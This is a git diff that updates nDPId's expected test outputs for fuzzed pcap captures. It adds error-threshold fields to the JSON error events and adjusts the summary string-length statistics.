00695{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":342,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_src_last_pkt_time":1528998576181572,"flow_dst_last_pkt_time":1528998576181572,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"thread_ts_usec":1528998576181572,"pkt":"ABRP+4rqcNuYVcUnCABFAAClD7RAAPsRRVLG4hk1CgxAHgcWchAAkUUeC7YAjbHF+KxzM1jmiRGRdJnwnSQBNTAzMTE0ODAwNzEzOTQzMDRAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmFhOTAvYjA6OWY6YmE6NGE6MGU6N2UvMjQzTw4BAAAMFwwAAAwBf\/xQEmpMlHIe9v0pkoCIcMRZLH4="} 01387{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":343,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":2,"flow_src_last_pkt_time":1528998576307744,"flow_dst_last_pkt_time":1528998576080956,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":697,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":697,"pkt_l4_len":663,"thread_ts_usec":1528998576307744,"pkt":"AAAMB6xAABRP+4rqCABFAAKrIWVAAP8RAAAKDEAexuIZNXIQBxQClwAAAbcCj0ICRJPAa6Qqmxpo\/C0gFa8aCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM3NwZbIqqwAWEwMzExNDgwMDdhMzk0MzA0QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TYjAtOWYtYmEtNGEtMGUtN2UeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwZDQ5MGFhMjI1YiwgNWIyMmFhOTAvYjA6OWQ6YmE6NGE6MGU6N2Uvqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} -00221{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":344,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":172,"global_ts_usec":1528998576381929} +00321{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998576381929,"packet_id":344,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":172,"global_ts_usec":1528998576381929} 00567{"packet_event_id":1,"packet_event_name":"packet","packet_id":344,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"thread_ts_usec":1528998576307744,"pkt":"ABRP+4rqcNuYVcUnCABFAADAD7hAAfwRRDPG4hk1CgxAHgcUchAArCnlA7cApDiN+d11wTNhp6tcCWDiFuUBNTAzMTE0ODAwNzEzOTQzMDRAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmFhOTAvYjA6OWY6YmE6NGE6MGU6N2UvMjQzEiIzMjc2NCBTdWJzYydpYmVyIG5vdCBwcm92aXNpb25lZEcHBAEABwBQEmSUFMWhON8\/wqCGcP\/+Ta0="} 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":345,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":75,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998584808225,"flow_src_last_pkt_time":1528998584808225,"flow_dst_last_pkt_time":1528998584808225,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998584808225,"l3_proto":"ip4","src_ip":"57.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":28948,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01450{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":345,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_src_last_pkt_time":1528998584808225,"flow_dst_last_pkt_time":1528998584808225,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"thread_ts_usec":1528998584808225,"pkt":"AAAMB6xAABRP+4rqCABFAALbIWZAAP8RAO05DEAexuIZNXIQcRQCxwAAAbgCv9zxrJZG2dsJ+s9nZZp6aFsaCgAAV8gOBFVTGgwAAFfIDQYlAGZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM4NwZbIqq4ATUwMzExNDgwMjUwODY0NjI4AXdsYW4ubW5jNDgwDm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TMDAtNTYtY2QtNmQtNDItNTkeJTZjLWIyLWFlLThlLTMxLTgwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPbEwZmYxMGFjMDAwMDAwY2M3OGE4MjI1YiwgNWIyMmE4NzgvMDA6NTY6Y2Q6NmQ6NDI6NTkvMjM1BAasFAEQIKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} @@ -571,7 +571,7 @@ 00775{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":346,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_src_last_pkt_time":1528998585019610,"flow_dst_last_pkt_time":1528998585019610,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"thread_ts_usec":1528998585019610,"pkt":"ABRP+4rqcNuYVcUnCABFAADhD9lAAPwRdvHG4hk1CgxAHgcUWBAAzQh\/C7gAxWTiZLZdO+cme7xhCKfM6MYBNTAzMTE0ODAyNTA4NjQ2MjhAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE4NzgvMDA6NTY6Y2Q6d2Q6NDI6NTkvMjM1T0oBAgBIFwEAAAEFAADyCxcI7XkaT0UFvUk8tJ2YAgUAAMJakSoc8QAAT38LtnrvLnGLAQACCwUAADQNzAWg+MfiRgxSS6PGeYdQEs5faleq8GPWzRgEVPv2RUo="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":346,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":76,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998585019610,"flow_src_last_pkt_time":1528998585019610,"flow_dst_last_pkt_time":1528998585019610,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998585019610,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":22544,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 01423{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":347,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":3,"flow_src_last_pkt_time":1528998585268788,"flow_dst_last_pkt_time":1528998576080956,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":725,"pkt_l4_len":691,"thread_ts_usec":1528998585268788,"pkt":"AAAMB6xAABRP+4rqCABFAALHIWdAAP8RAAAKDEAexuIZNXIQBxQCswAAAbkCqwwIsTK62hmv9RZW9\/f12AIaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM4NwZbIqq5ATUwMzExNDgwMjUwODY0NjKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} -00221{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":348,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":284,"global_ts_usec":1528998585453134} +00321{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998585453134,"packet_id":348,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":284,"global_ts_usec":1528998585453134} 00714{"packet_event_id":1,"packet_event_name":"packet","packet_id":348,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"thread_ts_usec":1528998585268788,"pkt":"ABRP+4rqcNuYVcUnCABFADUwD91AAPwRQ57G4hk1CgxAHgcUchABHJkzArkBFPuMuhZj3jbkVosdPxLeAO4aCwAAV8gbBVNQQxpuAAABNxA0w9JZoXWsZGeHUoYiJ9p40yJPEfSCC1VPuzQcz\/tcT9Zniiv93vAfl8Sqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} 00583{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":349,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","packets-captured":349,"packets-processed":285,"total-skipped-flows":0,"total-l4-payload-len":123530,"total-not-detected-flows":15,"total-guessed-flows":3,"total-detected-flows":55,"total-detection-updates":0,"total-updates":132,"current-active-flows":6,"total-active-flows":76,"total-idle-flows":70,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":576,"global_ts_usec":1528998601376404} 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":353,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":77,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998605741189,"flow_src_last_pkt_time":1528998605741189,"flow_dst_last_pkt_time":1528998605741189,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":629,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":629,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":629,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998605741189,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1813,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -585,9 +585,9 @@ 00929{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":355,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":60,"flow_state":"finished","flow_src_packets_processed":3,"flow_dst_packets_processed":2,"flow_first_seen":1528998257171672,"flow_src_last_pkt_time":1528998557443000,"flow_dst_last_pkt_time":1528998257456042,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":655,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":164,"flow_src_tot_l4_payload_len":2061,"flow_dst_tot_l4_payload_len":301,"midstream":0,"thread_ts_usec":1528998605816574,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.62","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00738{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":356,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":79,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998636010967,"flow_src_last_pkt_time":1528998636010967,"flow_dst_last_pkt_time":1528998636010967,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":145,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":145,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":145,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998636010967,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","l4_proto":37,"flow_datalink":1,"flow_max_packets":3} 00696{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":356,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_src_last_pkt_time":1528998636010967,"flow_dst_last_pkt_time":1528998636010967,"flow_idle_time":620000000,"pkt_oversize":false,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"thread_ts_usec":1528998636010967,"pkt":"ABRP+4rqcNuYVcUnCABFAAClEJJAAPslAHTG4hk1CgxAHgcUchAAkT3yC70AiXLX5bK1bcbjOxq4bylP028BNTAzMTE0ODAyMxg1Njg2MzFAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZyxiNWIyMmFhZWIvOTA6YjA6ZWQ6NGU6Nzc6YTMvMjQ1Tw4BAAAMFwwAAAxRf\/xQEvTT2\/+5xTPwYXYdoAWLt9A="} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":357,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":2064,"global_ts_usec":1528998636143546} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998636143546,"packet_id":357,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":2064,"global_ts_usec":1528998636143546} 01221{"packet_event_id":1,"packet_event_name":"packet","packet_id":357,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":697,"pkt_type":2064,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":697,"pkt_l4_len":0,"thread_ts_usec":1528998636010967,"pkt":"AAAMB6xAABRP+4rqCBBFAAKrIWxAAP8RAAAKDEAexuIZNXIQBxQClwAAAb4Cj8yIFnOZ6cZavy+ov11X2XMaCgAAV8gOBKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} -00203{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":361,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":22528,"global_ts_usec":1528998639586727} +00303{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998639586727,"packet_id":361,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":22528,"global_ts_usec":1528998639586727} 01222{"packet_event_id":1,"packet_event_name":"packet","packet_id":361,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":697,"pkt_type":22528,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":697,"pkt_l4_len":0,"thread_ts_usec":1528998639447671,"pkt":"AAAMB6xAABRP+4rqWABFAAKrIW5AAP8RAAAKCEAexuIZNXIQBxQClwAAAcACj3BXfw4b3GMlZswG9bQoL7gaCgAAV8gOBFVTGgwAAFfIDQZXaWZpJQAAAFfICQlXSVNQUjEwGgkAADghDQMzNwZbIqrvATUwMzExNDgwMjMyNTY4NjMxQHdsYW4ubW5jNDkwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TOTAtYjAtZWQtNGUtNzctYTMeJTAwLWE3LTQyLWQwLWUwLXAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJESthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwZDZlYmFhMjI1YiwgNWIybWFhZWIvOTA6YjA6ZWQ6NGU6Nzc6YTMvMjQ1BAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2T2cCAAAIbQwAABoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhdWAFfIHRFWWlcgQzIgVGVzdDdMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERcAAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVASZHVbxXaB7Y4HBclkU5O1hA=="} 00928{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":366,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":73,"flow_state":"finished","flow_src_packets_processed":9,"flow_dst_packets_processed":7,"flow_first_seen":1528998576080956,"flow_src_last_pkt_time":1528998643272189,"flow_dst_last_pkt_time":1528998643334661,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":655,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":276,"flow_src_tot_l4_payload_len":6191,"flow_dst_tot_l4_payload_len":1239,"midstream":0,"thread_ts_usec":1528998643334661,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00927{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":366,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":60,"flow_state":"finished","flow_src_packets_processed":3,"flow_dst_packets_processed":2,"flow_first_seen":1528998257171672,"flow_src_last_pkt_time":1528998557443000,"flow_dst_last_pkt_time":1528998257456042,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":655,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":164,"flow_src_tot_l4_payload_len":2061,"flow_dst_tot_l4_payload_len":301,"midstream":0,"thread_ts_usec":1528998643334661,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.62","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} @@ -613,6 +613,6 @@ ~~ total memory freed........: 6181702 bytes ~~ total allocations/frees...: 122644/122644 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 204 chars +~~ json string min len.......: 304 chars ~~ json string max len.......: 2255 chars -~~ json string avg len.......: 1229 chars +~~ json string avg len.......: 1279 chars diff --git a/test/results/fuzz-2021-06-07-c6c72a0a56.pcap.out b/test/results/fuzz-2021-06-07-c6c72a0a56.pcap.out index e95b95586..1addde238 100644 --- a/test/results/fuzz-2021-06-07-c6c72a0a56.pcap.out +++ b/test/results/fuzz-2021-06-07-c6c72a0a56.pcap.out @@ -1,8 +1,8 @@ 00506{"daemon_event_id":1,"daemon_event_name":"init","thread_id":0,"packet_id":0,"source":"fuzz-2021-06-07-c6c72a0a56.pcap","alias":"nDPId-test","max-flows-per-thread":2048,"max-idle-flows-per-thread":64,"reader-thread-count":1,"flow-scan-interval":10000000,"generic-max-idle-time":600000000,"icmp-max-idle-time":120000000,"udp-max-idle-time":180000000,"tcp-max-idle-time":3265032704,"max-packets-per-flow-to-send":3,"max-packets-per-flow-to-process":32,"max-packets-per-flow-to-analyse":32,"global_ts_usec":0} 00569{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":1,"source":"fuzz-2021-06-07-c6c72a0a56.pcap","alias":"nDPId-test","packets-captured":1,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":2,"global_ts_usec":1953631155595384} -00258{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":1,"source":"fuzz-2021-06-07-c6c72a0a56.pcap","alias":"nDPId-test","size":48,"expected":4093509168,"global_ts_usec":1953631155595384} +00358{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1953631155595384,"packet_id":1,"source":"fuzz-2021-06-07-c6c72a0a56.pcap","alias":"nDPId-test","size":48,"expected":4093509168,"global_ts_usec":1953631155595384} 00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":1,"source":"fuzz-2021-06-07-c6c72a0a56.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":48,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":48,"pkt_l4_len":0,"thread_ts_usec":1953631155595384,"pkt":"\/wAAJAAjAMBfnZUlCABF\/4mFRACAAFARjVhmboAgAAb\/AAho0tcI0wgALf8gewty"} -00223{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":1,"source":"fuzz-2021-06-07-c6c72a0a56.pcap","alias":"nDPId-test","l4_data_len":14,"global_ts_usec":1953631155595384} +00323{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1953631155595384,"packet_id":1,"source":"fuzz-2021-06-07-c6c72a0a56.pcap","alias":"nDPId-test","l4_data_len":14,"global_ts_usec":1953631155595384} 00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":1,"source":"fuzz-2021-06-07-c6c72a0a56.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":48,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":48,"pkt_l4_len":0,"thread_ts_usec":1953631155595384,"pkt":"\/wAAJAAjAMBfnZUlCABF\/4mFRACAAFARjVhmboAgAAb\/AAho0tcI0wgALf8gewty"} 